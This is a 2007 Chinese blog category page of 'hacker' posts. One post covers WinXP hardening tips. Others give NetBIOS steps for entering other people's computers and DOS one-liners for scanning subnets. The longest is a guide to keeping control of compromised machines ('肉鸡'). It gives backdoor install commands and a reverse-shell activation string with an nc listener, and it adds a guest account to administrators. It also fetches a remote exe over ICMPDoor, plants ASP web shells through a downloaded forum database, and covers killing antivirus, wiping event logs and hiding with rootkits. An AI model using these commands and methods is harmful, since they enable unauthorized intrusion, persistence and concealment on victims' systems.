IT博客-YIYE的BLOG-随笔分类-黑客

知道对方IP入侵别人的电脑

yiye — Sun, 20 May 2007 06:09:00 GMT

黑客已经成为一种文化，很多人想成为黑客，他们偶尔学到了几种小花招，总喜欢拿别人开玩笑，搞些恶作剧。其实黑客的最高境界在于防守，不在于进攻。所谓明枪易躲暗箭难防，要防住他人所有的进攻，肯定需要懂得比对方更多的系统知识，了解更多的系统漏洞，及如何弥补漏洞。现在满天都是黑客教程，但真正有用的不多，下面介绍一种WIN9X下的入侵方法:
1.取得对方IP地址如XX.XX.XX.XX，方法太多不细讲了。

2.判断对方上网的地点，开个DOS窗口键入 TRACERT XX.XX.XX.XX 第4和第5行反映的信息既是对方的上网地点。

3.得到对方电脑的名称，开个DOS窗口键入 NBTSTAT -A XX.XX.XX.XX 第一行是对方电脑名称第二行是对方电脑所在工作组第三行是对方电脑的说明

4.在Windows目录下有一文件名为LMHOSTS.SAM，将其改名为LMHOSTS，删除其内容，将对方的IP及电脑名按以下格式写入文件： XX.XX.XX.XX 电脑名

5.开DOS窗口键入 NBTSTAT -R

6.在开始-查找-电脑中输入对方电脑名，出现对方电脑点击即可进入。

以上方法请不要乱用，本人对你用上面的方法所惹出的麻烦概不负责，请慎重。对付上面进攻的最好办法就是隐藏你的IP地址。

yiye 2007-05-20 14:09 发表评论

入侵WinXP常用七大招数

yiye — Sun, 20 May 2007 06:08:00 GMT

本文讲述了黑客入侵Windows XP操作系统常用的七种方法，如果大家遇到类似那可要注意了……

第一招：屏幕保护

在Windows中启用了屏幕保护之后，只要我们离开计算机(或者不操作计算机)的时间达到预设的时间，系统就会自动启动屏幕保护程序，而当用户移动鼠标或敲击键盘想返回正常工作状态时，系统就会打开一个密码确认框，只有输入正确的密码之后才能返回系统，不知道密码的用户将无法进入工作状态，从而保护了数据的安全。

提示：部分设计不完善的屏幕保护程序没有屏蔽系统的“Ctrl+Alt+Del”的组合键，因此需要设置完成之后测试一下程序是否存在这个重大Bug。

不过，屏幕保护最快只能在用户离开1分钟之后自动启动，难道我们必须坐在计算机旁等待N分钟看到屏幕保护激活之后才能再离开吗?其实我们只要打开Windows安装目录里面的system子目录，然后找到相应的屏幕保护程序(扩展名是SCR)，按住鼠标右键将它们拖曳到桌面上，选择弹出菜单中的“在当前位置创建快捷方式”命令，在桌面上为这些屏幕保护程序建立一个快捷方式。

此后，我们在离开计算机时双击这个快捷方式即可快速启动屏幕保护。

第二招：巧妙隐藏硬盘

在“按Web页”查看方式下，进入Windows目录时都会弹出一句警告信息，告诉你这是系统文件夹如果“修改该文件夹的内容可能导致程序运行不正常，要查看该文件夹的内容，请单击显示文件”，这时单击“显示文件”就可以进入该目录了。

原因是在Windows根目录下有desktop.ini和folder.htt两个文件作祟。将这两个文件拷贝到某个驱动器的根目录下(由于这两个文件是隐藏文件，之前必须在文件夹选项中单击“查看”标签，选择“显示所有文件”，这样就可以看见这两个文件了)。再按“F5”键刷新一下，看看发生了什么，是不是和进入Windows目录时一样。

接下来我们用“记事本”打开folder.htt，这是用HTML语言编写的一个文件，发挥你的想像力尽情地修改吧。

如果你不懂HTML语言也没关系，先找到“显示文件”将其删除，找到“修改该文件夹的内可能导致程序运行不正常，要查看该文件夹的内容，请单击显示文件”，将其改为自己喜欢的文字，例如“安全重地，闲杂人等请速离开”。

将“要查看该文件夹的内容，请单击”改为“否则，后果自负!”，接着向下拖动滑块到倒数第9行，找到“(file：//%TEMPLATEDIR% /wvlogo.gif)”这是显示警告信息时窗口右下角齿轮图片的路径，将其改为自己图片的路径，例如用“d: /tupian/tupian1.jpg”替换“//”后面的内容，记住这里必须将图片的后缀名打出，否则将显示不出图片。

当然，你还可以用像Dreamweaver、FrontPage这样的网页工具做出更好的效果，然后只要将原文件拷贝到下面这段文字的后面，覆盖掉原文件中“～”之间的内容就可以了。

*ThisfilewasautomaticallygeneratedbyMicrosoftInternetEXPlorer5.0
*usingthefile%THISDIRPATH%/folder.htt.

保存并退出，按“F5”键刷新一下，是不是很有个性?接下来要作的就是用“超级兔子”将你所要的驱动器隐藏起来，不用重新启动就可以欣赏自己的作品了。最后告诉大家一招更绝的，就是干脆将folder.htt原文件中“～”之间的内容全部删除，这样就会给打开你的驱动器的人造成一种这是一个空驱动器的假象，使其中的文件更安全。

第三招：禁用“开始”菜单命令

在Windows2000/XP中都集成了组策略的功能，通过组策略可以设置各种软件、计算机和用户策略在某种方面增强系统的安全性。运行“开始→运行”命令，在“运行”对话框的“打开”栏中输入“gpedit.msc”，然后单击“确定”按钮即可启动WindowsXP组策略编辑器。

在“本地计算机策略”中，逐级展开“用户配置→管理模板→任务栏和开始菜单”分支，在右侧窗口中提供了“任务栏”和“开始菜单”的有关策略。

在禁用“开始”菜单命令的时候，在右侧窗口中，提供了删除“开始”菜单中的公用程序组、“我的文档”图标、“文档”菜单、“网上邻居”图标等策略。清理“开始”菜单的时候只要将不需要的菜单项所对应的策略启用即可，比如以删除“我的文档”图标为例，具体操作步骤为：

1)在策略列表窗口中用鼠标双击“从开始菜单中删除我的文档图标”选项。

2)在弹出窗口的“设置”标签中，选择“已启用”单选按钮，然后单击“确定”即可。

第四招：桌面相关选项的禁用

WindowsXP的桌面就像你的办公桌一样，有时需要进行整理和清洁。有了组策略编辑器之后，这项工作将变得易如反掌，只要在“本地计算机策略”中展开“用户配置→管理模板→桌面”分支，即可在右侧窗口中显示相应的策略选项。

1)隐藏桌面的系统图标

倘若隐藏桌面上的系统图标，传统的方法是通过采用修改注册表的方式来实现，这势必造成一定的风险性，采用组策略编辑器，即可方便快捷地达到此目的。

若要隐藏桌面上的“网上邻居”和“InternetEXPlorer”图标，只要在右侧窗口中将“隐藏桌面上网上邻居图标”和“隐藏桌面上的 InternetEXPlorer图标”两个策略选项启用即可。如果隐藏桌面上的所有图标，只要将“隐藏和禁用桌面上的所有项目”启用即可。

当启用了“删除桌面上的我的文档图标”和“删除桌面上的我的电脑图标”两个选项以后，“我的电脑”和“我的文档”图标将从你的电脑桌面上消失了。如果在桌面上你不再喜欢“回收站”这个图标，那么也可以把它给删除，具体方法是将“从桌面删除回收站”策略项启用。

2)禁止对桌面的某些更改

如果你不希望别人随意改变计算机桌面的设置，请在右侧窗口中将“退出时不保存设置”这个策略选项启用。当你启用这个了设置以后，其他用户可以对桌面做某些更改，但有些更改，诸如图标和打开窗口的位置、任务栏的位置及大小在用户注销后都无法保存。

第五招：禁止访问“控制面板”

如果你不希望其他用户访问计算机的控制面板，你只要运行组策略编辑器，并在左侧窗口中展开“本地计算机策略→用户配置→管理模板→控制面板”分支，然后将右侧窗口的“禁止访问控制面板”策略启用即可。

此项设置可以防止控制面板程序文件的启动，其结果是他人将无法启动控制面板或运行任何控制面板项目。另外，这个设置将从“开始”菜单中删除控制面板，同时这个设置还从Windows资源管理器中删除控制面板文件夹。

提示：如果你想从上下文菜单的属性项目中选择一个“控制面板”项目，会出现一个消息，说明该设置防止这个操作。

第六招：设置用户权限

当多人共用一台计算机时，在WindowsXP中设置用户权限，可以按照以下步骤进行：

1)运行组策略编辑器程序。

2)在编辑器窗口的左侧窗口中逐级展开“计算机配置→Windows设置→安全设置→本地策略→用户权限指派”分支。

3)双击需要改变的用户权限，单击“添加用户或组”按钮，然后双击想指派给权限的用户账号，最后单击“确定”按钮退出。

第七招：文件夹设置审核

WindowsXP可以使用审核跟踪用于访问文件或其他对象的用户账户、登录尝试、系统关闭或重新启动以及类似的事件，而审核文件和NTFS分区下的文件夹可以保证文件和文件夹的安全。为文件和文件夹设置审核的步骤如下：

1)在组策略窗口中，逐级展开右侧窗口中的“计算机配置→Windows设置→安全设置→本地策略”分支，然后在该分支下选择“审核策略”选项。

2)在右侧窗口中用鼠标双击“审核对象访问”选项。

3)用鼠标右键单击想要审核的文件或文件夹，选择弹出菜单的“属性”命令，接着在弹出的窗口中选择“安全”标签。

4)单击“高级”按钮，然后选择“审核”标签。

5)根据具体情况选择你的操作：

倘若对一个新组或用户设置审核，可以单击“添加”按钮，并且在“名称”框中键入新用户名，然后单击“确定”按钮打开“审核项目”对话框。

要查看或更改原有的组或用户审核，可以选择用户名，然后单击“查看/编辑”按钮。

要删除原有的组或用户审核，可以选择用户名，然后单击“删除”按钮即可。

6)如有必要的话，在“审核项目”对话框中的“应用到”列表中选取你希望审核的地方。

7)如果想禁止目录树中的文件和子文件夹继承这些审核项目，选择“仅对此容器内的对象和/或容器应用这些审核项”复选框。

注意：必须是管理员组成员或在组策略中被授权有“管理审核和安全日志”权限的用户可以审核文件或文件夹。在WindowsXP审核文件、文件夹之前，你必须启用组策略中“审核策略”的“审核对象访问”。否则，当你设置完文件、文件夹审核时会返回一个错误消息，并且文件、文件夹都没有被审核。

yiye 2007-05-20 14:08 发表评论

dos命令扫描网段的端口

yiye — Sun, 20 May 2007 06:08:00 GMT

不需要任何工具,dos命令扫描一个网段的全部端口!
　　在win2000下开一个dos窗口，然后执行
for /l %a in (1,1,254) do start /min /low telnet 192.168.0.%a 3389
这样192.168.0.x这个段的所有开放3389端口得主机都会暴露
这条命令执行后
会在任务栏开254个小窗口
然后telnet链接失败的窗口会在大约5秒后自动退出
剩下的窗口就是相对应开放端口的主机了
看一下小窗口的标题可以得知主机的ip地址
如果你觉得机器性能很好的话可以把/low参数去了

现在扫描一台主机的多个端口，如下
for /l %a in (1,1,65535) do start /low /min telnet 192.168.0.1%a
这样就扫描192.168.0.1的1到65535端口

现在扫描一个网段的所有端口
for /l %a in (1,1,254) do for /l %b in (1,1,65535) do start /low/min telnet 192.168.0.%a %b
这样就会扫描192.168.0.x段的全部1到65535段口

以上命令只能在win2000下使用，因为/l累加参数是win2000对for的扩展 ,当然winXP和win.NET都可以用，winME我没有试过，因为没有winME的机器

yiye 2007-05-20 14:08 发表评论

让肉鸡难逃五指山---精品后门程序及思路分板

yiye — Sun, 20 May 2007 06:07:00 GMT

什么是后门程序
后门程序又称特洛伊木马，其用途在于潜伏在电脑中，从事搜集信息或便于黑客进入的动作。后程序和电脑病毒最大的差别，在于后门程序不一定有自我复制的动作，也就是后门程序不一定会“感染”其他电脑。
后门是一种登录系统的方法，它不仅绕过系统已有的安全设置，而且还能挫败系统上各种增强的安全设置。
后门是一种登录系统的方法，它不仅绕过系统已有的安全设置，而且还能挫败系统上各种增强的安全设置。
后门包括从简单到奇特，有很多的类型。简单的后门可能只是建立一个新的账号，或者接管一个很少使用的账号；复杂的后门（包括木马）可能会绕过系统的安全认证而对系统有安全存取权。例如一个login程序，你当输入特定的密码时，你就能以管理员的权限来存取系统。
后门能相互关联，而且这个技术被许多黑客所使用。例如，黑客可能使用密码破解一个或多个账号密码，黑客可能会建立一个或多个账号。一个黑客可以存取这个系统，黑客可能使用一些技术或利用系统的某个漏洞来提升权限。黑客可能使用一些技术或利用系统的某个漏洞庭湖来提升权限。黑客可能会对系统的配置文件进行小部分的修改，以降低系统的防卫性能。也可能会安装一个木马程序，使系统打开一个安全漏洞，以利于黑客完全掌握系统。
以上是在网络上常见的对“后门”的解释，其实我们可以用很简单的一句话来概括它：后门就是留在计算机系统中，供某位特殊使用都通过某种特殊方式控制计算机系统的途径！——很显然，掌握好后门技术是每个网络安全爱好者不可或缺的一项基本技能！它能让你牢牢抓住肉鸡，让它永远飞不出你的五指山！
下文将以笔者从事网络安全多年的工作经验为基础，给广大的网络初级安全爱好者讲解一些网络上常用的后门的种类和使用方法以及技巧，希望大家能在最短的时间内学习到最好的技术，提升自己的网络安全技术水平！

后门的分类
后门可以按照很多方式来分类，标准不同自然分类就不同，为了便于大家理解，我们从技术方面来考虑后门程序的分类方法：
1.网页后门
此类后门程序一般都是服务器上正常的web服务来构造自己的连接方式，比如现在非常流行的asp、cgi脚本后门等。
2。线程插入后门
利用系统自身的某个服务或者线程，将后门程序插入到其中，具体原理原来《黑客防线》曾具体讲解过，感兴趣的朋友可以查阅。这也是现在最流行的一个后门技术。
3扩展后门
所谓的“扩展”，是指在功能上有大的提升，比普通的单一功能的后门有很强的使用性，这种后门本身就相当于一个小的安全工具包，能实现非常多的常驻见安全功能，适合新手使用————但是，功能越强，个人觉得反而脱郭后门“隐蔽”的初衷，具体看法就看各位使用都的喜好了。
4.c/s后门
和传统的木马程序类似的控制方法，采用“客记端/服务端”的控制方式，通过某种特定的访问方式来启动后门进而控制服务器。

5.rootkit
这个需要单独说明，其实把它单独列一个类在这里是不太恰当的，但是，rootkit的出现大大改变了后门程序的思维角度和使用理念，可以说一个好的rootkit就是一个完全的系统杀手！后文我们讲涉及到这方面，想念一定不会让大家失望！
上面是按照技术做的分类，除了这些方面，正向连接后门、反向连接后门等分类也是很常见的，其实如何分类是编程者考虑的事，广大的使用者就不用考虑那么多了，我们看重的，只是功能！
入侵法定————精品后门

上面的“废话”想念大家都看累了吧？好，下面我们来看看现在网络中浒的后门究竟长什么模样想学习网络安全并想提高的朋友看清楚了哦，这可是让你的肉鸡逃不出你的五指山的大好途径！

1.网页后门
近段时间网络上针对系统漏洞的攻击事件渐渐少了，因为大家在认识到网络安全的重要性之后，最简单却又最有效的防护办法：升级，都被大家所认同，所以系统漏洞在以后的岁月中存活的周期会越来越短，而从最近的趋势来看，肢本漏洞已经渐渐取代了系统漏洞的地位，非常多的人开始研究起却本漏洞来，sql注入也开始成为各大安全站点首要关注热点，而说到脚本、网页后门当然就是不得不说的重头戏了，现在国内入侵的主流趋势是先利用某种脚本漏洞上传脚本后门，然后浏览服务器内安装和程序，找到提升权限的突破口，进而拿到服务器的系统权限。
现在asp、CGI、PHP这三个脚本大类在网络上的普遍运用带来了脚本后门在这三方面的发展，下面我们一一道来：
海阳顶端ASP木马
这是ASP脚本方面流传非常广的一个脚本后门了，在经过几次大的改革后，推出了“海阳顶端ASP木马XP版”、“海阳顶端ASP木马红粉佳人版”等功能强大、使用方便的后门，想念经常接解脚步本安全的朋友对这些都不会陌生。
类型：网页木马
使用范围：支持ASP、WEB访问
隐蔽程序：★★★★☆
使用难度：★☆☆☆☆
危害程序：★★★☆☆
查杀难度：★★★☆☆
现在的服务器系统配置都相对安全，公开的系统漏洞存在的机会很少，于是脚本方面的漏洞就开始火起来。首先我们通过某种途径获得一个服务器的页面权限（比如利用论坛上传达室类型未严格设置、SQL注入后获得ASP系统的上传权限、对已知物理路径的服务器上传特定程序），然后我们可以通过简单的上传ASP程序或者是直接复制海阳项端的代码，然后通过WEB访问这个程序，就能很方便地查阅服务器上的资料了，下面举个简单的便子（由于只是简单的介绍，下文便子不会太难或者太普遍，希望大家理解）。
运用举便
leadbbs2.77曾经风靡网络，它是个很典型的ASP论坛，屏蔽了很多可以SQL注入的寺方，但是很多傻瓜级别的网络管理员总是喜欢默认安装，然后启用论坛，我们只需要很简单地在IE中输入：WWW。***。COM/BBS/DATA/LEADBBS。MDB就能够直接下载该论坛的数据库了，而且没有MD5加密哦！，我们直接找到管理员的账户和密码，然后登录论坛，到管理界面将论坛的“联系我们”、“帮助”等ASP文件替换成我们的海阳项端代码，然后执行GUEST权限的CMD命令，方便的上传/下载将定程序、远程执行程序等，这样一个隐藏的后门就建好了！取得服务器的SYSTEM权限就看大家自己的办法了。
一般来讲，海洋的功能是非常强大的，而且不容易被查杀（一个朋友采取的方式是：先利用某个脚本漏洞上传网页后门，再通过海洋上传另一个后门到隐蔽的路径，然后通过最后上传的后门来删除第一次上传的海洋，这样后门的存放路径就可以放得非常深了，普通管理员是很难发现的），如果管理员觉得自己可能中了这里边样的后门，可以利用论坛备份来恢复自己的页面系统，再配合系统日志、论坛日志等程序检查系统，发现可疑ASP文件打开看看海洋是很好识别的，再删除就可以了。
脚本方面的后门还有CGI和PHP两面三刀大类，使用原理都差不多，这里就不再多介绍，在黑防论坛也收录了这三种后门，大家可以下载后自己研究。

2.线程插入后门
首先我们来简单解释一下什么是典型的"线程插入"后门:这种后门在运行时没有进程,所有网络操作均播入到其他应用程序的进程中完成。也就是说，即使受控制端安装的防火墙拥有“应用程序访问权限”的功能，也不能对这样的后门进行有效的警告和拦截，也就使对方的防火墙形同虚设了！这种后门是现在非常主流的一种，很让防护的人头疼，因为对它的查杀比较困难，这种后门本身的功能比较强大，是“居中家旅行、入侵攻击”的必备品哦！
这类的典范就是国内提倡网络共享的小榕的BITS了，从它的推出以来，各类安全工具下载园地里BITS就高居榜首，非常多的朋友使用它的过程中感到了方便。

BITS
类型：系统后门
使用范围：wind200/xp/2003
隐蔽程序：★★★★☆
使用难度：★★★☆☆
危害程序：★★★★☆
查杀难度：★★★★☆

BITS 其实是BackgroundIntelligentTransferServicer的缩写，可以在不知不觉中实现另一种意义的典型的线程插入后门，有以下特点：进程管理器中看不到；平时没有端口，只是在系统中充当卧底的角色；提供正向连接和反向连接两种功能；仅适合用于windows200/xp/2003。
运用举例
首先我们用3389登录上肉鸡，确定你有SYSTEM的权限，将BITS.DLL拷贝到服务器上，执行CMD命令：
rundll32.exebits.dll,install
这样就激活了BIST，程序用这个特征的字符来辨认使用者，也就相当于你的密码了，然后卸载：rundll32.exeBITS.dll,Uninstall
这是最简单的使用，这个后门除了隐蔽性好外，还有两大特点是非常值得借鉴的：端口复用和正反向连接。虽然很多朋友经常听到这两个名词，但并不了解它们，端口复用就是利用系统正常的TCP端口通讯和控制，比如80、139等，这样的后门有个非常大的好处就是非常隐蔽，不用自己开端口也不会暴露自己的访问，因为通讯本身就是系统的正常访问！另一个是反向连接，这个很常见，也是后门中一个经典思路，因为从服务器上主动方问外边是不被禁止的，很多很历害的防火墙就怕这点！
BITS的正向连接很简单，大家可以参考它的README，这种方式在服务器没有防火墙等措施的时候很管用，可以方便地连接，但是遇到有防火墙这样的方式就不灵了，得使用下面的反向连接方式：
在本地使用NC监听（如：nc-l-p1234）
用NC连接目标主机的任何一个防火墙允许的TCP端口（80/139/445……）
输入激活命令：hkfx@dancewithdolphin[rxell]:1.1.1.1:2222
目标主机的CMD将会出现NC监听的端口2222，这样就实现了绕过防火墙的功能了。
devil5(魔鬼5号）
类型：系统后门
使用范围：win200/xp/2003
隐蔽程度：★★★★☆
使用难度：★★☆☆☆
危害程序：★★★★☆
查杀难度：★★★☆☆
同BITS一样，Devil5也是线程插入式的后门，和BITS不同的是它可以很方便的在GUI界面下按照自己的使用习惯定制端口和需要插入的线程，适合对系统有一定了解的使用都使用，由于是自定义插入线程，所以它更难被查杀，下面我们来看看它的使用。
运用举例：
道德使用它自带的配置程序EDITDEVIL5.EXE对后门进行常规的配置,包括控制端口、插入线程、连接密码、时间间隔等方面关键点是对插入线程的定制，一般设置成系统自带的SVCHOST，然后运行后门就可以控制了。
我们用TELNET连接上去，连接的格式是：TELNET***定制的端口，它和其他后门不同之处在于连接后没有提示的界面，每次执行程序也是分开的，必须要每次都有输入密码，比如我们丢掉了服务器和管账户，可以激活GUEST后再将GUEST加到管理员权限，记得每次执行命令后加上 “>密码”就可以了：netlocalgroupadministratorsguest/add>hkfx，然后你又可以控制服务器了。
很明显示，同榕哥的BITS相比，DEVIL5有一些缺陷：不能通过系统自带端口通讯、执行命令比较麻烦，需要每次输入密码而且不回显示输入内容，很容易出错。但是，它有自己的优势：插入线程可以自已定制，比如设置IE的线程为插入的目标就比较难被查杀：自己提供了专门的查杀工具 DELDEVIL5.exe，帮助防护者清理系统；而且它可以任意改名和绑定，使用灵活性上比BITS强……大家选择哪能款就看自己的喜好了。
另外，PortLessBackDoor等工具也是此类的后门，功能强大，隐蔽性稍差，大家有兴趣可以自己研究一下。
3.扩展后门
所谓的扩展后门，在普通意义上理解，可以看成是将非常多的功能集成到了后门里，让后门本身就可以实现很多功能，方便直接控制肉鸡或者服务器，这类的后门非常受初学者的喜爱，通常集成了文件上传/下载、系统用户检测、HTTP访问、终端安装、端口开放、启动/停止服务等功能，本身就是个小的工具包，功能强大。
Wineggdroupshell
类型：系统后门
使用范围：win2000/xp/2003
隐蔽程度：★★★★☆
使用难度：★★☆☆☆
危害程度：★★★★☆
查杀难度：★★★★☆
这个后门是扩展后门中很有代表性的一个，功能这全面让人叹为观止，它能实现如下比较有特色的功能：进程管理，可查看，杀进程（支持用进程名或PID来杀进程）；注册表管现（查看，删除，增加等功能）；服务管理（停止，启动，枚举，配置，删除服务等功能）端口到程序关联功能（fport）；系统重启，关电源，注销等功能（reboot,poweroff,shutdown,logoff）；嗅探密码功能；安装终端，修改终端端口功能；端口重定向功能（多线程，并且可限制连接者IP）；HTTP服务功能（多线程，并且可限制连接者IP）；Socd5代理功能（支持两种不同方式验证，可限制连接者IP）；克隆账号，检测克隆账户功能（clone,checkclone）；加强了的Findpassword功能（可以得到所有登录用户，包括使用克隆账户远程登录用户密码）；HTTP代理（完全匿名，支持oicq、msn、mirc等程序）；其他辅助功能，http下载，删除日志，系统信息，恢复常用关联，枚举系统账户等。
当网络上刚推出这个后门的时候，非常多的人用它来替换自己原来使用的后门，一时间各处赞扬之声迭起，但多为一些普通的打捞手的心声，其实它和“后门”的原始定义是有出入的：一旦你需要实现越多的功能，那你的程序在执行、隐藏、稳定等方面就需要考虑非常多的问题，一个疏忽就会导致全盘皆败，所以不建议将此后门用在需要非常隐蔽的地方。
运用举例
在安装后门前，需要使用它自带的EditServer.exe程序对服务端进行非常详细的配置，从10个具体配置中，包括了插入线程、密码、IP登录邮件通告等方面，不难看出它的功能是非常强大的，隐蔽性也很强，下面说几个在入侵中常用的功能，相信经常玩入侵的朋友一定能发现它的强大之处：
Fport:列出进程到端口的列表，用于发现系统中运行程序所对应的端口，可以用来检测常见的隐蔽的后门。
Reboot:重启系统，如果你上传并运行了其他后门程序，并需要重启机器以便让后门正常工作，那使用这个命令吧！
Shell:得到一个DosShell,这个不多讲了，直接得到服务器或者肉鸡上的cmdshell。
PskillPID或程序名：用于杀掉特定的服务，比如杀毒软件或者是防火墙。
Execute程序：在后台中执行程序，比如sniffer等。http://ip/文件名保存文件名：下载程序，直接从网上down一个后门到服务器上。
Installterm端口：在没有安装终端服务的win2k服务版的系统中安装终端服务，重启系统后才生效，并可以自定义连接端口，比如不用3389而用其他端口。
StopService/StartService:停止或者启动某个系统服务，比如telnet。
CleanEvent:删除系统日志。
Redirect:TCP数据转发，这个功能是后门程序中非常出色的一个功能，可以通过某一端口的数据转发来控制内网的机器，在渗透入侵的时候非常管用！
EnumService:列举所有自动启动的服务的资料，比如后门、木马。
RegEdit:进入注册表操作模式，熟悉注册表的使用者终于在后门中找到了福音！
Findpassword:得到所有登录用户密码，比我们常用的findpass功能可强多了。
……
总体来讲，Wineggdropshell是后门程序中很出彩的一个，它经过作者几次大规模的修改和升级，已经趋于稳定，功能的强大当然没得说，但是由于功能太强大，被查杀和怀疑是难以避免的，所以很多人在使用Wineggdropshell一段时间后就发现肉鸡飞了，其实是很正常的事，我你出不用气馁，其实用很简单的方法就可以很好地提高它的隐蔽性，下文将有说明。
相对于Wineggdropshell来说，独孤剑客的winshell在功能上就不那么全面了，但是笔者推荐新手更多的使用 winshell而不是Wineggdropshell，因为winshell功能除了获得一个shell以外，只加入了一些重启、关闭服务器的命令，功能相对简单，但完全使用系统自带的cmd来执行命令，对系统学习和掌握也是非常有帮助的！
Winshell和wolf这两者都是国内早期顶尖的后门程序，程序的编制无疑是非常经典的，新手学习时使用这两款后门一定能让你明白很多系统相关东西，了解很多入侵思路和方法。

C/S后门
传统的木马程序常常使用C/S构架，这样的构架很方便控制，也在一定程度上避免了“万能密码”的情况出现，对后门私有化有一定的贡献，这方面分类比较模糊，很多后门可以归结到此类中，比如较巧妙的就是ICMPDoor了
ICMPDoor
类型：系统后门
使用范围：win2000/xp/2003
隐蔽程度：★★★★★
使用难度：★★★☆☆
危害程度：★★★★☆
查杀难度：★★★★★
这个后门利用ICMP通道进行通信，所以不开任何端口，只是利用系统本身的ICMP包进行控制安装成系统服务后，开机自动运行，可以穿透很多防火墙——很明显可以看出它的最大特点：不开任何端口~只通过ICMP控制！和上面任何一款后门程序相比，它的控制方式是很特殊的，连80端口都不用开放，不得不佩服务程序编制都在这方面独特的思维角度和眼光！
运用举例
这个后门其实用途最广的地方在于突破网关后对内网计算机的控制，因为很多机密数据都是放在内网计算机上的，而控制内网计算机并不是我们想到位的商业网络进行入侵检测，它的网络内部并不像我们常见的内网那样非常容易入侵和控制，因为该公司本身涉及到一些网络安全的服务，所以内网个人计算机的防护是很到位的，在尝试过很多后门后，最后ICMPDoor帮我实现了成功的渗透内网！由此笔者开始爱上这个后门。
首先使用icmpsrv.exe-install参数进行后门的安装，再使用icmpsend.exeIP进行控制，可以用：[http: //xxx.xxx.xxx/admin.exep;-hkfx.exe]方式下载文件，保存在//system32/目录下，文件名为 hkfx.exe，程序名前的“-”不能省去，使用[pslist]还可以列出远程主机的进程名称和pid，再使用[pskillid]就可以杀进程了，同样，输入普通cmd命令，则远程主机也就执行了相关的命令。
这个后门是采用的c/s构架，必须要使用icmpsend才能激活服务器，但是他也有自己的先天不足：后门依靠ICMP进行通讯，现在的网络，经过冲击波的洗礼后，很少有服务器还接受ICMP包了，很多都屏蔽掉了它，所以用它来控制服务器不是一个好办法，这也是我为什么用它来控制内网计算机的原因了——内网很少有人屏蔽ICMP包吧？！
5.rootkit
如果说上面的后门程序都各有千秋、各有所长的话，它们和经典的rootkit一比简直就是小巫见大巫了，那究竟什么样是rootkit呢？
rootkit出现于20世纪90年代初，在1994年2月的一篇安全咨询报告中首先使用了rootkit这个名词。从出现至今，rootkit的技术发展非常迅速，应用越来越广泛，检测难度也越来越大。其中钍对SunOS和Linux两种操作系统的rootkit最多。
很多人有一个误解，他们认为rootkit是用作获得系统root访问权限的工具。实际上，rootkit是攻击都用来隐蔽自己的踪迹和保留root访问权限的工具。通常，攻击者通过远程攻击获得root访问权限，进入系统后，攻击者会在侵入的主机中安装rootkit，然后他将经常通过rootkit的后门检查系统是否有其他的用户登录，如果只有自己，攻击者就开始着手清理日志中的有关信息。通过rootkit的嗅探器获得其他系统的用户和密码之后，攻击者就会利用这些信息侵入其他系统。
从*nix系统上迁移到windows系统下的rootkit完全沿袭了这些“可怕”的功能！现在网络上常见的rootkit是内核级后门软件，用户可以通过它隐藏文件、进程、系统服、系统驱动、注册表键和键值、打开的端口以及虚构可用磁盘窨。程序同时也在内存中伪装它所做的改动，并且隐身地控制被隐藏进程。程序安装隐藏后门，注册隐藏系统服务并且安装系统驱动。该后门技术允许植入redirector，是非常难以查杀的一个东东，让很多网络管员非常头疼！
hackerdefender
类型：系统后门
使用范围：win200/xp/2003
隐蔽程度：★★★★★
使用难度：★★★★★
危害程度：★★★★★
查杀难度：★★★★★（呵呵，全部五星，因为它太“霸道”了）
现在最新版本的hxdf是1.0.0，它是从国外传过来的一个程序，包含两个关键程序，里面的配置文件ini非常复杂，相信新手使用也是很困难的主要包括：[HiddenTable]，[RootProcesses]， [HiddenServices]，[HiddenRegKeys]，[HiddenRegvalues]，[StartupRun]， [FreeSpace],[HiddenpORTS]，[Settings]。对功能就是隐藏文件（目录）、隐藏进程、隐蔽服务、隐藏注册键、隐藏注册表键值、启动程序、增加磁盘剩余空间、隐藏端口、后门设置，具体配置我们就不具体讲解了，本期文章有详细的介绍，我们说说它的特点（纯粹个人观点和经验偏激的地方请大家海涵）：
（1）可以实现正常系统TCP端口的通讯，比如80等，这个功能在高级后门并不鲜见。
（2）能得到简单的系统SHELL，对入侵的老手来说这就够了，多余的功能反而是累赘。
（3）隐藏端口，如果你非要使用TCP的某一个非常规端口通讯，那使用这个功能吧，放心，别人发现不了。
（4）隐藏后门的所有可找到东西！这个只能用一个字来形容：牛！比如隐藏文件、服务、注册表键等功能，虽然我们说起来是一句话，想念识货的朋友应该能发现这中间NB的地方！
（5）史上最经典后门思维：配合其他扩展型后门使用，效果好得出乎你的意料！（这是后面的内容，我们马上讲到）。
抛开其他不讲，系统中安装了这样的rootkit，你通过普通的查杀途径根本检测不到这个程序这点就非常值得我们利用了！试想：一个在你服务器上运行的后门，你连看都看不到它，别说查杀了！
注：由于此后门危害太大，所以编辑特别在此掐掉作者一段篇幅，喜欢研究后门程序的朋友可以自己去研究，不过千万注意不要误运行了程序，查杀和清除是非常麻烦的事！直接重新安装系统吧！
经典后门思维
现在很多朋友都在尝试着开发一些自己的后门程序，他们企图将非常多的功能加入到后门里恨不得一个后门就是一个操作系统！————很明显，这样是不对的！因为一个好的后门能实现非常单一的功能就够了，它不是给你控制服务器的，而是给你在丢掉服务器控制方法的时候用来再次控制服务器的！所以，不要经常使用后门程序，当然也不要让你的后门程序太在。
所有网络安全工具都存在一个问题：隐藏！现在随着广大网友安全意识的提高，杀毒软件、系统安全保护程序这些东西再不是“珍品”了，所以，就算你的后门程序能实现两万个功能，但是很容易就被杀毒软件查杀的话，那也是白搭！换句话说：如果别人能很方便地看看进程、查查注册表、看看端口就能查出系统有问题的话，你这个后门也就算不上好了！所以记住：隐藏才是最重要的！
很多朋友都喜欢使用某个功能很强大的后门程序来控制服务器，虽然很隐蔽，但一旦被杀，那他就只有望着服务哭了，其实只要我们稍微入宽思路就能解决这样问题：嵌套使用互补的后门程序！这样一旦一个后门暴露，另一个后门或者几个后门依然在服务器——这点说起来很简单，里面涉及到很多入侵中的经验和方法，也涉入到rootkit，后文我们会讲到。
对现在的网络来说，如果一个网络安全工具被公布，那么，在很短的时间内这个程序将被安全爱好者传到网络的任何一个地主！很明显，这样程序的存活期很短，不出几天就被查杀了，所以本文列举的所有程序都可以在网络上找到（光盘上也有收录），只是给大家提供一种比较好的思路和介绍，很多的后门是私人使用的。希望大家通过自己的学习也能写出自己的优秀后门！
通过上面的讲解，相信大家对现在主流的后门程序都有了一事实上程度的了解，由于篇幅关系，本文不可以一个接一个实际的去讲解用法和查杀，相信那样读者也读着无聊，编辑审稿后也不能刊登了，具体的使用方法还得靠各位去摸索，下面我们说说经典后门的几个个人体会。
